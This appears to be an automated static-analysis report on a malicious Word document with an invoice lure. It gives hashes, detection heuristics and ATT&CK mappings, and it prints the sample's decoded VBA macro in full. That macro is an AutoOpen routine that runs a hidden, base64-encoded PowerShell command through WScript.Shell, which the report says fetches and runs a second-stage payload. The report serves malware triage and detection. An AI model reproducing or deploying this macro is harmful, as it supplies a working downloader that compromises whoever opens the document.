Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ab62cc721841612…

MALICIOUS

Office (OLE)

332.0 KB Created: 2017-09-27 11:29:00 First seen: 2017-10-28
MD5: 8b2dcd90a1e5d21345fb875da3f88c37 SHA-1: 9ac648356b19c316447682425ff67b0c1d1178ad SHA-256: 5ab62cc721841612e27f98f8c952152a048933be32fadb8aef5ed5190fbdf887
498 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains VBA macros that leverage WScript.Shell to execute a PowerShell command. This command is heavily obfuscated but appears to be designed to download and execute a second-stage payload. The document body contains a lure instructing the user to enable editing and content, which is a common tactic for macro-based malware.

Heuristics 15

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set objShell = VBA.CreateObject("WScript.Shell")
    objShell.Run cmd, 0, True
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        cmd = ""
    cmd = cmd + "cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4"
    cmd = cmd + "AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwB"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objShell = VBA.CreateObject("WScript.Shell")
    objShell.Run cmd, 0, True
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        cmd = ""
    cmd = cmd + "cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4"
    cmd = cmd + "AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwB"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    invoice
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3408 bytes
SHA-256: 3a42d1f9a1eb4a372c9551519e7feb6e30263f76dff84a5f74a5a0c9b1c8e80b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 13 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub invoice()
    '
    ' invoice Macro
    '
    '
    Dim cmd As String
    cmd = ""
    cmd = cmd + "cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4"
    cmd = cmd + "AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwB"
    cmd = cmd + "lAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8"
    cmd = cmd + "AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQBuAG8AZQAgAC0AdwAgAGgAaQB"
    cmd = cmd + "kAGQAZQBuACAALQBlACAASgBBAEIAdABBAEQAMABBAFMAUQBCAHUAQQBIAFkAQQBiAHcAQgByAEEARwBVAEEATABRAEIAWABBAEcAVQBBAFkAZwBCAFMAQQBHAFUAQQBjAFEAQgAxAEEARwBVAEEAYwB3AEI"
    cmd = cmd + "AMABBAEMAQQBBAEwAUQBCAFYAQQBIAEkAQQBhAFEAQQBnAEEAQwBjAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABNAEEATQBBAEEAdQBBAEQASQBBAE0AUQBBAHgAQQB"
    cmd = cmd + "DADQAQQBNAFEAQQB4AEEARABjAEEATABnAEEAeABBAEQAVQBBAE4AdwBBAHYAQQBIAEEAQQBjAHcAQgBvAEEAQwA0AEEAWQBnAEEAMgBBAEQAUQBBAEoAdwBBADcAQQBDAFEAQQBiAFEAQQA5AEEARQA0AEE"
    cmd = cmd + "AWgBRAEIAMwBBAEMAMABBAFQAdwBCAGkAQQBHAG8AQQBaAFEAQgBqAEEASABRAEEASQBBAEIASgBBAEUAOABBAEwAZwBCAE4AQQBHAFUAQQBiAFEAQgB2AEEASABJAEEAZQBRAEIAVABBAEgAUQBBAGMAZwB"
    cmd = cmd + "CAGwAQQBHAEUAQQBiAFEAQQBvAEEAQwB3AEEAVwB3AEIARABBAEcAOABBAGIAZwBCADIAQQBHAFUAQQBjAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAWQBBAGMAZwBCAHYAQQBHADAAQQBRAGcAQgBoAEE"
    cmd = cmd + "ASABNAEEAWgBRAEEAMgBBAEQAUQBBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEASwBBAEEAawBBAEcAMABBAEsAUQBBAHAAQQBEAHMAQQBTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEUANAB"
    cmd = cmd + "BAFoAUQBCADMAQQBDADAAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBCAEoAQQBFADgAQQBMAGcAQgBUAEEASABRAEEAYwBnAEIAbABBAEcARQBBAGIAUQBCAFMAQQBHAFUAQQBZAFE"
    cmd = cmd + "AQgBrAEEARwBVAEEAYwBnAEEAbwBBAEMAUQBBAGIAUQBBAHAAQQBDAGsAQQBMAGcAQgBTAEEARwBVAEEAWQBRAEIAawBBAEYAUQBBAGIAdwBCAEYAQQBHADQAQQBaAEEAQQBvAEEAQwBrAEEATwB3AEEAPQA"
    cmd = cmd + "nADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGU"
    cmd = cmd + "AOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQB"
    cmd = cmd + "tAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA=="
    
    Set objShell = VBA.CreateObject("WScript.Shell")
    objShell.Run cmd, 0, True
    
    ActiveDocument.Range.Font.Color = wdColorAutomatic
    Dim i As Integer
    For i = 1 To 8
        Selection.HomeKey wdStory
        Selection.GoTo What:=wdGoToPage, Count:=1
        Selection.Bookmarks("\Page").Select
        Selection.Delete
    Next i

End Sub

Sub AutoOpen()
    invoice
End Sub

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